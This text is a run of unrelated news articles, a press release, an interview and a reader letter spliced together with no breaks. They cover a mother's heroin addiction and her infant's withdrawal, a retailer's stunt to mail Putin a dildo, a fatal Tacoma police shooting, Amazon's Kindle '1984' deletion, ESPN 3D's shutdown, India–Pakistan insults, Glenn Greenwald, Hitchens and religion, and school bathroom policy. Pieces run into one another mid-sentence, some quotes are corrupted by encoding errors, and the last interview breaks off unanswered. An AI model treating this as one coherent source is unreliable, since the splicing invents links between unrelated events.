At 17, Kennedy suffered facial injuries in a car accident and was prescribed Percocet for pain. The pills were easy to obtain after her injuries healed, and she became hooked.
At 20, she began selling heroin. “But then I wanted to know what was the big fuss about this whole thing that I was selling. So it just took one bag and there it went,” she said.
Ashley Kennedy, left, talks with nurse Megan Kelly as she cuddles her infant daughter, Makenzee. (Bill O'Leary/The Washington Post)
“It was just a good high. Better than Percocets.”
Over the next decade, she gave birth to a disabled son, lived in a car and was jailed five times for theft, credit-card fraud and other crimes she said she committed for drug money. Released from jail last September, she was using heroin again by the end of the month. In October, she discovered she was pregnant with Makenzee.
But Kennedy kept using, eventually injecting 30 five-dollar bags of heroin a day. When she wasn’t shooting heroin, she was out searching for it.
“Stay high all day. Wake up and do the whole process over again because I wouldn’t have nothing left in the morning,” she said.
She found a doctor who prescribed Subutex, a medication designed to replace the craving for heroin, but it didn’t work. Kennedy wound up taking both drugs, or traded her Subutex for heroin on the street. Then she turned to methadone, which didn’t fully satisfy her cravings either.
[Brain changes make it hard for addicts to resist heroin and similar drugs]
In March, a judge threatened to take her children away. Kennedy finally quit using heroin and was admitted to a residential rehab program. She finished her pregnancy on methadone; giving up drugs entirely could have killed her unborn child.
As extensive as it was, Kennedy’s drug history is relatively uncomplicated, compared with the habits of most pregnant drug users treated at the Center for Addiction and Pregnancy, an intensive outpatient program at Johns Hopkins, not far from the hospital where Makenzee Kennedy went through withdrawal.
More than three-quarters of the women in the program have some form of mental illness; many take medication for depression, anxiety, schizophrenia, bipolar disorder or post-traumatic stress syndrome, said Lauren Jansson, the center’s director of pediatrics.
Most have hepatitis C. Opiates are now the favored drug for about 75 percent of the women, Jansson said, but they are often mixed with cocaine, marijuana and alcohol. Virtually every woman smokes throughout her pregnancy.
[Big increase in hepatitis C linked to epidemic of drug use]
Like Kennedy, some women seek help when they realize they’re pregnant. Others deny taking drugs until after their child is born and begins suffering from tremors or other symptoms of withdrawal, said Monique Satpute, director of the Center for Neonatal Transitional Care at Mount Washington, where Makenzee was treated.
“We have to go back and say, ‘Is there something you didn’t tell us?’ ” Satpute said.
Doctors used to think a baby’s withdrawal was related to the quantity of heroin a mother used or the number of months the child was exposed in utero. But studies have found that not to be true, Jansson said. Some newborns experience only mild symptoms. Researchers are searching for a genetic link to withdrawal.
Caregivers today assume that no two children will go through withdrawal in quite the same way. That makes the process tricky and labor-intensive. Each newborn must be weaned slowly and monitored carefully around the clock, with one paramount goal: avoiding a devastating seizure that could have lifelong consequences.
Although doctors and nurses have become adept at that, the sad truth is they can’t do much to lessen the misery of a baby in withdrawal. Makenzee, for example, arrived from the University of Maryland Medical Center already started on tiny amounts of morphine and clonidine, a blood-pressure medication that helps in the weaning process.
Every three hours, she was assigned a “Finnegan score” based on 21 factors observed by nurses, including tremors, hyperactivity, fever, difficulty sleeping, sweating and her ability to suck, which often is compromised in infants going through withdrawal. Those scores are averaged and used to determine the next day’s dose of morphine.
Makenzee was a difficult case: Healthy newborns sleep most of the day; she was awake all the time. Healthy newborns relax and begin to stretch their limbs; Makenzee clenched her arms and legs tightly and cried constantly as she adjusted to minuscule reductions in the opiates she had been receiving in the womb. She had acidic diarrhea and sweated heavily.
Nurses dimmed the lights in her room, played soft music and spoke in low voices. They swaddled and held her. They changed her diaper often and patiently fed her.
“It hurts,” said Kay Mathias, the nurse practitioner who runs the unit where Makenzee was treated. “If you [go through] withdrawal, it hurts.”
Of the 97 drug-dependent infants Mount Washington has discharged over the past year, most were ready to go home after about two weeks. Makenzee’s withdrawal took 31 days and cost Medicaid $32,777.
Research has not found devastating long-term consequences for newborns who go through withdrawal. Such children tend to fare poorly by most health and socioeconomic measures, but it’s not clear whether that’s the result of the drugs in their systems at birth or their subsequent upbringing in often terrible homes by parents prone to drug use.
“We don’t think that they have any neurodevelopmental delays just from going through withdrawal,” said Leslie Kerzner, associate medical director of the Special Care Nursery at Massachusetts General Hospital in Boston, who tracks such children for years after birth. “In most kids, the brain is very plastic and they kind of rewire.”
At the rehab facility, Ashley Kennedy prepared for her baby’s release from the hospital by taking herself off methadone. After rehab, she plans to return to her mother’s house in Elkton, where she hopes to raise her children far from her drug-seeking friends.
For nine days, she went cold turkey, a brutal experience she hoped would leave her sufficiently clear-headed for the more difficult journey ahead.
“So we went through it together this last week,” Kennedy said. “It was painful. [Your] body’s aching. Your bones hurt. You can’t stay still. You can’t sleep. You can’t eat. You’re having diarrhea.... My body still hurts. My back still hurts. My legs sometimes. My knees.
“But it’s worth it. Thoroughly worth getting off everything to be with my child.”SAN FRANCISCO——As Russian President Vladimir Putin tightens down anti-gay legislation and takes away human rights with vague laws for its citizens and tourists, online adult retailer Gamelink.com has come up with a plan to get him to “loosen up,” by rallying its customers to help buy the rigid leader a dildo.
For the next week, Gamelink.com will deduct $5.00 from every toy purchase to give customers the opportunity to select the perfect dildo to send to Putin, showing disdain for his horrific actions and support for equality in all human life.
Customers should simply type in “PutinOnTheRitz” for the instant discount.
Putin remains firm and unrepentant of the new social system, and his country is now an unsafe destination for gay-friendly citizens and visitors who risk fines, jail or worse if they ‘seem’ gay to law enforcement. Russia, as the New York Times put it, “is in danger of moving from pursuing the rule of law to the rule of hate.” The president of Russia’s actions have led to LGBT youth being lured out of the home, beaten and publicly humiliated in several recent incidents.
“We are lucky that we are allowed to have open minds and can support the gay community without fear of persecution or beatings,” said Jeff Dillon, VP of Business Development at Gamelink.com. “Gamelink.com supports personal sexual freedom for everyone, and sending dildos to his office is the least we could do to show our disgust.” Hopefully this action will wake Putin up to the fact that the world is watching. We also hope he puts the dildos to good use for himself because as we have seen with many public figures “those that shout the loudest…”
Ship to Vladimir Putin: 23, Ilyinka Street, Moscow, 103132, Russia. Gamelink.com would like to add that "фаллоимитатор" is the Russian word for dildo. You might need it for your customs declaration.
You can also join the Facebook group for more information.
For more information about Gamelink, visit here.The man who shot and killed a Tacoma Police officer Wednesday was killed after an hours-long standoff.
Tacoma police spokesperson Loretta Cool says the standoff came to an end around 3:30 a.m.
“The incident ended when the suspect was shot by police and was pronounced dead at the scene,” she said.
Cool says an 8-year-old boy and 11-year-old girl who were in the home with the suspect were rescued and unharmed. They are being evaluated at the hospital just as a precaution.
The officer killed was a 45-year-old man who was with Tacoma PD for 17 years.
Tacoma police: Officer killed during domestic call
The police officer was killed after a domestic violence call. He was taken to Tacoma General Hospital where he later passed away.
Tacoma homeowner: Police handled fatal shooting with professionalism
“Our officer was pronounced dead at the hospital … in a short period of time,” police spokesperson Loretta Cool said Wednesday night.
The officer’s body was transported from the hospital to the medical examiner’s office late Wednesday night as law enforcement and members of the community lined the streets to pay their respects. Cool said the Honor Guard will standby at the ME’s office until he’s laid to rest.
“We’ve suffered a great loss,” Cool said. “I think the community has suffered a great loss,” Cool said. “I don’t know how to put that into words other than everyone here appreciates the kind words and thoughts.”
Related: Community sends thoughts, prayers to Tacoma Police
The shooting happened at 413 East 52nd Street around 5:30 p.m. The officer was responding to a domestic call and requested back up shortly before reporting shots were fired. Multiple shots were reportedly heard in the neighborhood.
Tacoma police then engaged in a standoff with the suspect who was barricaded inside a home.
KIRO 7 reports that the suspect shot at a sheriff’s helicopter hovering above the scene.
The Washington State Patrol was called to the scene, along with a SWAT team, the Pierce County Sheriff’s Office and ATF.
Sign up for the breaking news emailA high-end custom menswear brand has opened its doors to its flagship location on Woodward and Willis. After running a pop-up in Campus Martius since 2013, 1701 Bespoke has found its permanent location in Midtown.
Designed by Patrick Thompson Design, this 2700-square-foot, third floor loft space isn't about just buying a suit. It's an experience. The loft features a consultation/fitting room, tailoring room, and a privately stocked bar and lounge.
Founders Tom Daguanno and Max Schmidt looked for years for the right space in Detroit. This space, above Zef's Midtown, overlooks Woodward and will be right along the M-1 rail line.
Patrick Thompson Design wanted the architecture to dictate the design, and to ensure the space was as sophisticated as the brand. "It was crucial to make sure the client's experience begins the moment they get off the elevator, while they wait in the parlor and then finally in the the fitting and dressing area where the magic happens," says Thompson.
1701 Bespoke also has a second location in Birmingham, but we're quite fond of the Midtown space.
1701bespoke.com
Patrick Thompson DesignThere are things that should be left enough alone and Amazon's Orwellian removal of the book "Nineteen Eighty-Four" from Kindle e-readers is one of them. Orwell would have gotten a kick out of this, yet Amazon seems to miss the humor in it.
You remember the story: Amazon thought it had digital rights necessary to offer George Orwell's "Nineteen Eighty-Four" and "Animal Farm" to users of its Kindle e-reader. When it turned out Amazon didn't have the rights, it without warning simply removed the books from user accounts and refunded their money.
The irony of Amazon essentially "burning" Orwell books, and certainly some customers, was not lost on the world at-large and many electrons lost their lives chronicling the sad tale.
Amazon founder Jeff Bezos used a blog post to apologize to customers in very serious tones:
"This is an apology for the way we previously handled illegally sold copies of 1984 and other novels on Kindle. Our �solution� to the problem was stupid, thoughtless, and painfully out of line with our principles. It is wholly self-inflicted, and we deserve the criticism we�ve received. We will use the scar tissue from this painful mistake to help make better decisions going forward, ones that match our mission."
That seemed to end it.
Except that now Orwell has returned, or at least might return to users' Kindles. Customers who found the book missing may now get it back, along with their notes and annotations, or Amazon will pay them for their trouble.
�As you were one of the customers impacted by the removal of �Nineteen Eighty-Four� from your Kindle device in July of this year, we would like to offer you the option to have us re-deliver this book to your Kindle along with any annotations you made,� reads Amazon's note.
�You will not be charged for the book. If you do not wish to have us re-deliver the book to your Kindle, you can instead choose to receive an Amazon.com electronic gift certificate or check for $30.�
That good news and Amazon is known for doing right by customers, but in offering $30 cash compensation, the company probably went a little overboard.
I'd have offered $19.84.
(And if Amazon sent me such a check, I'd have framed it).
When he hears "1984," David Coursey first thinks of the famous Apple TV commercial. He tweets as @techinciter and may be contacted via his Web site.3D TV programming may be dying before it ever really got off the ground: ESPN, which was one of the first major programmers to embrace the format, plans to discontinue its specialized ESPN 3D channel by year's end. ESPN spokesperson Katina Arnold has confirmed the move via Twitter, squarely blaming low adoption as the reason for the channel's demise.
ESPN 3D was great at home but due to low adoption of 3D to home, we are discontinuing to focus on other products for fans and affiliates — Katina Arnold (@KatinaESPN) June 12, 2013
In a statement to The Verge, a network spokesperson said, "Nobody knows more about sports in 3D than ESPN, and we will be ready to provide the service to fans if or when 3D does take off." ESPN 3D launched in June 2010 with a three-dimensional broadcast of the 2010 FIFA World Cup's opening contest. The network began broadcasting nonstop 3D sports content in early 2011.
Viewer demand aside, adoption among cable providers was also mixed; Comcast, DirecTV, Verizon FiOS have all carried ESPN 3D at various points. AT&T, however, pulled the plug in 2011, claiming the high costs of carrying the channel were outweighed by low demand.
As it sunsets one TV trend, ESPN is already looking ahead to another, more impactful upgrade: 4K. "We continue to experiment with things like Ultra High Definition television (also known as Ultra HD television or UHDTV) production tools to produce our current ESPN family of HD channels," it said in a statement.It's day three so that means we have a much better idea of who is playing on Thursday and who isn't: if a guy isn't practicing on the the third and final day of practice, odds are he won't be in line up. It's also when any line up changes that aren't injury related usually get set in stone. With that in mind...
• receiver Andy Fantuz (head) isn't practicing for a third straight day meaning it's extremely unlikely he'll play Thursday. Looks like Sam Giguere moves inside while rookie Simon Charbonneau-Campeau will take Giguere's spot as the wide receiver on the wide side.
• looks like American Aaron Kelly will be the sole back up receiver
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a variety of dresses, gowns, super high heels, earrings.
The look just spews drama. Especially when walking down the hallways and turning corners. Love that.
What did you do to prepare for that part of this character? Did you really shave your head?
Shaving my head was the first thing that Ryan said I have to do, and I didn’t have a problem with that. Hair grows back. I did it years ago for a production at the Public. In a way, I was always dying to have someone ask me to do it again, because being asked to do outrageous things is fun.
View photos
Did you pierce your ears? I noticed you wore earrings to the Hotel premiere.
My left ear is pierced. I pierced it years ago in Chicago. There was a scene originally where The Countess was going to pierce my ears when she was transforming me, and there would be blood and everything. I said, “We could fake it with my already pierced ear.” And Stephanie [Lady Gaga] was like, “Oooh, let me pierce the other one live on camera.” But then we realized that we had already established that she wears clip-ons, so the pierced ear scene went away.NEW DELHI: The war of words between India and Pakistan has taken an ugly turn with the latter's foreign minister calling Prime Minister Narendra Modi a "terrorist".Pakistan's foreign minister Khawaja Asif was responding to Union minister Sushma Swaraj's recent comment at the UN that his country is a "pre-eminent export factory for terror."Asif hit back at India in an interview yesterday with Pakistan's Geo TV."At the (UN) General Assembly, Sushma Swaraj accused us of exporting terror, while in fact, it is a terrorist who is Prime Minister of her country, his (the PM's) hands have the blood of murdered Muslims in Gujarat," said Asif."A terrorist party is ruling India, the RSS rules India," added Asif.However, just last week, Asif himself admitted that allowing terrorists like Mumbai attacks mastermind Hafiz Saeed operate in the country with impunity is a "liability" for Pakistan."Saeed, LeT, they are a liability, I accept it, but give us time to get rid of them, we don't have the assets to deal with these liabilities," said Asif at the Asia Society in New York.He also laid the blame for the creation of people like Saeed, on the US."Don't blame us for Saeed, these people were your darlings 20 years ago, they were being dined and wined in the White House. Now you say go to hell, Pakistan," said Asif.Pakistan has been at the receiving end of a lot of international censure lately. After US President Donald Trump savaged Pakistan in August for providing "safe havens to agents of chaos, violence and terror", several other countries did the same.In September, India convinced Japan to condemn Pakistan-based terror groups Lashkar-e-Toiba (LeT) and Jaish-e-Muhammed (JeM) in an India-Japan joint statement. The 2008 Mumbai terror attacks were masterminded by Saeed and carried out by LeT operatives. And the JeM's Masood Azhar was the mastermind of last year's terror attack in Pathankot.India also got other BRICS countries to name these groups at a summit in China earlier this month. The BRICS statement, called the 'Xiamen Declaration', mentioned the Taliban, al-Qaida and the Haqqani Network, in addition to the LeT and the JeM.Last week, Afghanistan declared at the UN that terror within its borders is the "product of (a) long-standing policy" of Pakistan. Terror's "roots are located in terrorist sanctuaries and safe havens outside" its borders, it added.Traffic, congestion, delayed drive times – problems Texans know all too well.
The state’s population boom has lawmakers and transportation officials scrambling to alleviate traffic issues. Last session the Legislature passed a constitutional amendment diverting millions from Texas’ Rainy Day Fund into transportation projects. While one easy answer to our transportation woes is to build more roads, not everyone agrees.
Newly elected Houston Mayor Sylvester Turner says the state can no longer pave their way out of congestion. He recently suggested to the Texas Transportation Commission that the state needs a totally new transportation strategy. He told the Standard that we have to keep in mind that we have a state Department of Transportation, not a state highway department.
“It’s not just building highways, it’s multi-modal in nature,” he says. “What the policy has been is that everything is driven towards the 97 percent of people who are in single-occupancy vehicles and that’s only adding to the congestion (instead of) reducing or eliminating it.”
We need to instead shift funding away from single-occupant vehicle solutions, he says. In the past, especially in Houston, the state has not taken that approach.
“Several years ago we completed the expansion of I-10 West in Houston,” Turner says. “We have gone now to 26 lanes, when you include the side roads and all. It is the largest number of lanes in the world, at a cost of $2.5 billion.”
Seven years after the highway expansion was complete, it became the eighth most-congested highway in Texas.
“I think that clearly demonstrates the the old way of doing things is not solving the current-day problems,” Turner says. “Unless we engage in a paradigm shift, people are going to be stagnated in their cars, congestions will increase, the economy will suffer. Businesses won’t grow, won’t come here, and they won’t be able to expand.”
Listen to the full interview in the audio player above.Journalist Andrew Ross Sorkin Suggests US Should Arrest Glenn Greenwald For Doing Journalism
from the sickening dept
Some of what is driving this hostility from some media figures is personal bitterness. Some of it is resentment over my having been able to break these big stories not despite, but because of, my deliberate breaching of the conventions that rule their world.
But most of it is what I have long criticized them for most: they are far more servants to political power than adversarial watchdogs over it, and what provokes their rage most is not corruption on the part of those in power (they don't care about that) but rather those who expose that corruption, especially when the ones bringing transparency are outside of, even hostile to, their incestuous media circles.
They're just courtiers doing what courtiers have always done: defending the royal court and attacking anyone who challenges or dissents from it. That's how they maintain their status and access within it. That's what courtiers to power, by definition, do.
Some have argued that Meet the Press' David Gregory was just playing "devil's advocate" in asking reporter Glenn Greenwald if he should be arrested for "aiding and abetting" Ed Snowden for doing journalism. I'm not sure I agree with that, but now the NY Times' Andrew Ross Sorkin, normally a business reporter, has gone even further in saying flat out that given Snowden left Hong Kong, he'd "arrest Snowden and now I'd almost arrest Glenn Greenwald, the journalist who seems to be out there, he wants to help him get to Ecuador or whatever."Of course, there is no evidence that Greenwald is helping Snowden get anywhere. In the meantime, a journalist suggesting another journalist be arrested because his relationship with a source is too close is incredible, and ridiculous. This is doubly true for Sorkin, a journalist who has been, at times, accused of cozying up to Wall Street bankers to tell "their side" of the story of the economic troubles of the past few years.After a bunch of people called Sorkin out for this he tried to argue that he was not calling for Greenwald to be arrested despite his clear statements in which he appeared to call for exactly that. Sorkin then claimed that he was just "raising other questions." In response, Greenwald shot back : "Did you conspire with all of your extremely close WSJ-executive sources to commit fraud? Did you know about it? #JustAsking." And, really, that's the perfect retort. Anyone confusing a reporter reporting on some information with "conspiring" with the source is making a fool of himself.Later, Greenwald opined on why he thinks various "establishment" journalists seem to be suggesting that he should be arrested for doing the journalism they failed to do:It's a harsh assessment -- perhaps too harsh -- but it does offer a pretty good explanation for the way reporters are taking seriously (and, in some cases, appearing to advocate) for this ridiculous notion that by reporting on Snowden's leaks, Greenwald is somehow a co-conspirator.: This morning Sorkin issued an apology to Greenwald, saying that he believes in freedom of the press and thinks this is an important story, and he didn't mean to imply that Greenwald should be arrested. Rather, he claims, it was a poorly executed attempt to raise some basic questions about the role of the media in all of this.
Filed Under: andrew ross sorkin, arrests, david gregory, edward snowden, free speech, freedom of the press, glenn greenwald, journalismHitchens is not great. God is. December 20, 2010 |
From Marty Carpnter in Lititz PA:
I'm writing to say how disappointed I was when I read your near-worshipful journal entry on Christopher Hitchens. I'm sorry about his illness and I hope he gets better. But I can't admire him, and his being ill doesn't change that. I've only read one article by Hitchens, and it destroyed any urge I might have to read more. It was a piece about Mel Gibson, and although Gibson's bigotry was no surprise to me, what did strike me was Hitchens' own intolerance toward the Catholic Church, which he is apparently still blaming for the Crusades, the Inquisition and what he perceives as collaboration with the Nazis. (That last item is still being disputed, but you'd never know it from Hitchens' article.) He doesn't blame Gibson's bigotry on personality issues or on a possibly abusive parent, both of which are probably major factors. Instead, Hitchens places the blame firmly on Gibson's religion, which isn't even representative of modern Catholicism. Hitchens reviles the whole Church anyway, and in my book that makes him as much of a bigot as Gibson. (I thought it was funny that he would become a citizen of a nation which had slaughtered and uprooted Native Americans, and enslaved Africans, but apparently those peccadilloes pale in comparison to the Inquisition. He doesn't seem to mind this country's strong religious roots, either, even though one colony was actually founded by Catholics.)
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Hitchens uses the word "gauleiter" to describe Gibson, and I had to look it up. Hitchens may have been thinking of Nazis, but the broader definition of "an arrogant and overbearing person" could have been created for Hitchens himself. I can gather little evidence that he is a nice person, to paraphrase something you wrote about Coco Chanel. He does seem to be quite a showman--the Billy Sunday of the anti-religion crowd. I have seen him described as an "intellectual bully" who encourages other people's freedom of expression so that he can have the fun of demolishing their opinions. I've read that he wants to be called an anti-theist rather than a plain old atheist. He thinks he can take down God, no less. How does this man get his head through doorways? Somehow, I suspect God will be going strong when Hitchens is a vague memory.
You applaud Hitchens for still avoiding religion in the face of death (although he already seems to be making excuses for possible moments of weakness). Why are you so impressed by that? It's not as if he was being tortured and killed for his beliefs (like, say, Jesus Christ). Or do you think God is figuratively waterboarding him to get a confession of faith? It's more likely that his fellow intellectuals would crucify him for saying he DID believe in God. And it's not as if he has more FACTS about God and the afterlife than anyone else. Death isn't The Great Unknown for nothing. Hitchens mentions "irrationality" as something he's not normally guilty of and wants to avoid at all costs. LOL. It always cracks me up when people, usually male, describe themselves as perfectly rational; they're only kidding themselves. You too seem to want to see everything in terms of rational, preferably scientific explanations; you make a fine pair of Gradgrinds. I doubt if you'd enjoy a purely rational world even in the unlikely case that you found one. As a professional malcontent, Hitchens would probably have to find something to attack. You wouldn't be able to find any purely rational movies and would go into withdrawal.
Like Hitchens, lots of ordinary people face terrible health problems with courage and dignity. Unlike Hitchens, they face death and suffering without calling attention to themselves (and without similar financial resouces to deal with the medical bills). Some of these folks are even "religious". Where is your praise for them? A short time ago, a Mennonite doctor from my area was shot and killed in Afghanistan, where he was part of a mission of mercy. Why don't you blog about people like that? I think it's because you don't like people displaying their faith, in spite of your faint praise of the "rare" people who actuallly live their faiths. I came to the conclusion that you wrote about Hitchens' situation because his views on religion coincided with your own. Taking advantage of someone's suffering to promote your own views on religion--isn't that what you accused Ben Stein of doing? And didn't it fill you with contempt?
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Considering your righteous indignation when Stein tried to claim Darwinism "inspired" Nazism, where do you get off making a statement like "religion in its many forms has been the greatest single inspiration for man's inhumanity to man"? Are you practicing incendiary remarks in preparation for taking up Hitchens' anti-religion mantle? You could easily and more accurately have said that religion has been used as an excuse for all sorts of terrible things. People have never needed "inspiration" to be cruel to other people. Sometimes the plain fact of other-ness is enough to cause it. You yourself state that some "religious" people's actions don't agree with the actual tenets of their religions. So why blame the religions? You can't be forced to join any of them. Why such venom?
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A good plot for a science-fiction movie would be about an alternate universe where religion had never existed. But it would take a computer to delete every reference to religion from history, and even the most powerful computer couldn't identify everything that was influenced by religion. The recent film "The Invention of Lying" claimed to show such a place and failed miserably. It started with the silly premise that mankind could have lived for countless millennia without ever learning to lie, and that the "inventor" of lying was not a bold, bad player looking out for Number One, but a sweet-natured middle-aged nerd who Used His Power For Good. In your review you seemed rather taken with the film's treatment of religion as a comforting fiction (hardly a new charge) and wondered if audiences realized the "implications" of what they were watching. Some other reviewers thought the film itself ignored these implications. The Village Voice reviewer (hardly a religious zealot) wondered what important event the movie's 13th century (identical to our own) had been dated from, if Christianity had never existed. He accused the film of "smug secularism" and noted that "The casual introduction suggests you shouldn't think too hard about the premise's inconsistencies, but maybe the filmmakers should've thought harder." They, and you, don't want to admit how religion in its many forms permeates Western culture.
You probably would like to date things Before & After Darwin, but how do you know when Darwin would have come up with any theories, if he was ever born at all? (What if his parents had met in church, God forbid?) In Western society, schools were first started by churches and then gradually became secularized. One in particular I noted was Oxford's Balliol College, officially founded In the Year of Our Lord 1263 at the request of the (Catholic) Bishop of Durham. The college had strong clerical ties for centuries and still apparently owns the livings of various parishes. Among Balliol's alumni have been John Wycliffe, famous Bible translator, and Christopher Hitchens. Imagine that. The Catholic-hater owes his alma mater to the Catholic church.
You say someone would've started schools eventually, but who, and when? Whose agendas would have been promoted? Perhaps those of the strong-men who had clawed their way to power and would do anything to keep that power. (I don't buy into "social contracts" because contracts can be broken if the "fittest" party is strong enough to get away with it.) Imagine a whole world resembling Communist China or the Soviet Union, and without the internet to boot. How long would it take radical ideas such as democracy and individual freedom to take hold in such a society? The idea of a Creator who endowed all men with certain unalienable rights, for instance, would be missing from that world.
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Incidentally, which religion was it that inspired the Communist atrocities in the last century? And the drug cartels, whose god do they worship? Which religious principles are invoked by the leader of North Korea? I have heard claims that Hitler thought he was practicing Christianity, but he thought a lot of things that weren't so, and warped everything he touched. I remember my college history professors telling us to "distrust the single cause" because nothing in history is that simple. Even so-called "religious conflicts" such as those in Ireland and the Mideast are about a lot more than religion. Politics and economics generally trump religion as causes of war. I recently re-read your review of the movie "Luther", which showed the princes of Germany standing up for the Protestant faith against the Pope and their own Emperor. You quite correctly mentioned that the princes had powerful political motives for defying Rome, and Luther's rebellion was a convenient rationale. You don't want religion to get credit for admirable deeds, but you blame it for terrible ones. Why won't you admit to all the non-religious factors that influence people for evil, as well as for good? (And whose ideas of good and evil are they, anyway?)
Besides, people are prone to mis-interpret and mis-use ideas, religous and otherwise--even your precious Darwin's. From your review of "Rabbit Proof Fence", about the relocation of mixed-breed aboriginal children based on the social-Darwinist theories of the government offiicial played by Kenneth Branagh: "That Australians could have accepted thinking such as his, and indeed based government policy on it, indicates the sorry fact that many of them thought aborigines were a step or two down the evolutionary ladders from modern Europeans." You wouldn't say that means Darwin's theories inspire racism, would you? Religous principles can be twisted the same way, sometimes unknowingly and sometimes deliberately to meet desired ends. There's a bumper sticker that says, "When Jesus said to love your enemies, he didn't mean kill them." Or torture them, either. Obviously the Bush/Cheney government chose to ignore that small detail about their religion. Bush's religion, anyway. Cheney's religious credo seems to be "Anything is OK as long as WE'RE doing it." (Apparently Christopher Hitchens agrees.)
I could state with some justification that practically all atrociites are dreamed up and committed by males. Some scientists even say that males are "hard-wired" for aggression, which could lead to violence. Thus I could conclude that males are the single greatest source of man's inhumanity to man. I might even bring up "Inglourious Basterds" in which history was altered not so much to avoid barbarism but to provide more of it. (Why didn't QT kill off Neville Chamberlain i& have Churchill made PM earlier, if he really wanted to save people from Hitler? Because then he wouldn't have had an excuse for his own special brand of gore, which is not usually a result of humane actions.) You would not be buying it, just as I am not buying your claims about religion. The reviewer at Salon.com quoted a character in "The Invention of Lying" whose comment might unwittingly be the rallying cry for anti-religious sentiment. The hero's rival tells him that "I've always been threatened by you because there are things about you that I can't understand....And I hate things I can't understand."
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After reading your Hitchens entry, I needed an antidote to all the anti-religious virulence. I found a quote by Canadian author David Adams Richards from his book "God Is." He remarks that there has been a tendency among liberals to think that a belief in God can't go hand-in-hand with intelligence and education. Richards is a Catholic and he acknowledges the failings of his Church, but stands up for his faith: "... if Tom Hanks can save the world from Catholicism every two years, I can remind myself that there is still much good in my religion. If Bill Maher can tell me my faith is silly, I can at least answer and say it is not. If Christopher Hitchens can courageously take on Mother Teresa or declare the Ten Commandments meaningless – as if he bore false witness in any other universe he wouldn't be known for exactly who he was – I can at least say I disagree, and face the ridicule if I have to." His words moved me to take my own stand, however you may despise me for it.
Now THAT's inspiration.
Ebert: I do not despise you. Anyone who knows what he believes and defends it eloquently has my admiration.
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DisqusA walk down memory lane isn’t an easy one for Mason Caminiti. The pictures bring back a flood of memories when Caminiti struggled with his sexuality.
“I go back and look at pictures and I think ‘wow. I knew at this age and I didn't even realize what was ahead of me,” said Caminiti as he flipped through childhood photos.
“I actually came out to two girls on the playground,” said Caminiti. “They were talking about boys that they liked in class and I told them I was a boy.”
Mason was born as Heather, a curly haired little girl who dressed and identified as male. His looks back then were often caused confusion at the bathroom door. Mason was forced to use the girl’s restroom despite looking and feeling like a boy.
“So then, it was either further humiliating that I had to tell them ‘no, I'm a girl’ when really that's not how I felt,” said Caminiti.
Similar struggles are being dealt with by school districts in Troy, Ohio and Hillsboro, Missouri.
In Troy, the school district decided to implement gender neutral bathrooms in all of their schools. That means any student male, female or transgender can use the same restroom.
Matt Sharp, an attorney for the Alliance Defending Freedom says the move to one bathroom is a violation of student privacy. Instead, he says the Alliance would like to see gender-specific bathrooms preserved at the schools. The group sent a letter to the Troy City Schools asking that the district rethink its decision.
“What we wanted to tell Troy schools is that there are important privacy interests at stake here of protecting the privacy and dignity of every student,” said Sharp. “You can do that by having separate facilities and offering this student an accommodation in a single stall restroom.”
10TV checked with a couple of central Ohio school districts on any policies. Columbus City Schools and Olentangy Local Schools have not yet come up with a policy on bathrooms for transgender students. Below are statements from each district:
Columbus City Schools - Jacqueline D. Bryant, Communications Manager
Columbus City Schools is addressing the best supports for transgender students. The District strives to maintain a safe and supportive learning and educational environment that respects and values all students and fosters understanding of gender identity within the school community. Building administrators will work closely with the student and his/her parents to come up with a viable solution that works for everyone. It’s my understanding that there is no state or federal law regarding this issue.
Olentangy Local School District - Devon Immelt, Public Information Coordinator
We are currently reviewing NEOLA guidelines on the topic of transgender students and employees. As a general rule, we address such issues on a case-by-case basis. In this situation, we would work with our students and their families to do what's in their best interest based on a variety of considerations, including the safety and comfort of students, the age of the students, the transgender student's preference, and the availability of alternate, non-stigmatizing facilities.Following the release of the March Madness pool, I had an opportunity to speak with No. 3 Oregon head coach Dana Altman on Selection Sunday. You wouldn’t know it from asking him, but Altman is having one of his most successful seasons (29-5) in a coaching career that started in 1989 at Marshall.
This is the 20th straight winning season for an Altman coached squad. Not to mention, this is the Oregon Ducks fifth straight NCAA Tournament appearance since his arrival.
Over his impressive time in Eugene, the Duck lead man has won the Pac-12 Coach of the Year honor three of the past five years. 2016-17 easily could have been his fourth in five seasons, but Arizona’s Sean Miller somehow snuck away with the award, despite finishing second to Oregon in the Pac-12 regular season.
Heading into the 2017 NCAA Tournament, the coach may be facing his greatest test. Losing a senior with the value and leadership of Chris Boucher is not a speed bump, it’s a road block. Yet, if anyone can prepare his team for something like this, it’s Altman.
Amid countless interview and media requests alike, Altman politely finds time for everyone. He may not even know who he is speaking with at times, but he is a man of great character, consistency and conviction. Oregon’s head coach practices what he preaches to his players.
What does the loss of Chris Boucher, the player and person, mean to this team?
I feel terrible for Chris. He’s been such a big part of our program the last two years. He’s a unique player. He leads the conference in blocked shots. He does a phenomenal job of protecting the rim. I just don’t know what to say. It was a big blow. He’s probably our most popular player. He’s so friendly. He’s the first one to pick up the guys after I bark at them. He’s been a pleasure to coach. I felt so bad for him yesterday. When he got the news, he was pretty shook up. He felt like he let the team down. He’s more worried about his teammates than himself. We’re going to help him through this recovery. It’s going to take awhile, but our team just has to move forward. It is a blow because he is such a unique player. His ability to shoot the three, mixed in with his shot-blocking ability. He’s able to run the floor really well. Guys just throw it up to the rim and have him go get it. Without that athleticism, it’s going to make it a little tougher on us no doubt.
How special is Chris to be where he is today after all he has been through in his life?
Absolutely. You take into account that so many people are fortunate enough to be born into financial situations that are pretty good. And there’s those young men that aren't that fortunate. For him to overcome, to really not start playing basketball until he was out of high school. Then he went the junior college route. It is a story of patience and staying after it. Not giving in to it. To come here and be the most popular player we’ve had in a long time, the people love him. Big ol’ smile all the time. Just his personality. His background and his story, to go to college and he’s going to be able to graduate from here. His future is bright. This injury is a little setback for him, but he’s still going to play basketball for awhile with his unique abilities and his competitiveness. This is just a little setback, but he’ll bounce back. Next year he’ll be playing somewhere.
Does it create extra motivation for the team like with Louisville after Kevin Ware’s horrific injury a few years ago in the Elite Eight or even the Michigan plane incident this past week?
Well, everybody just has to pick it up a little bit. We don’t have anybody to replace Chris or what he did for our team. Everyone is going to have to do a little bit more and they’re all capable of that. I agree with you. We played Louisville the game before that young man got hurt and he played really against us in the Sweet 16 game. Then he got hurt in the final eight game. You’re right, it brought that team together and they went on to win the national title. You know our team responded okay yesterday. Like I said, they were subdued all day. They were kind of down. We got down to Arizona but battled back. The guys were a little bit better today. I think by Friday, we’ll be ready to play.
How good was the Pac-12 this season?
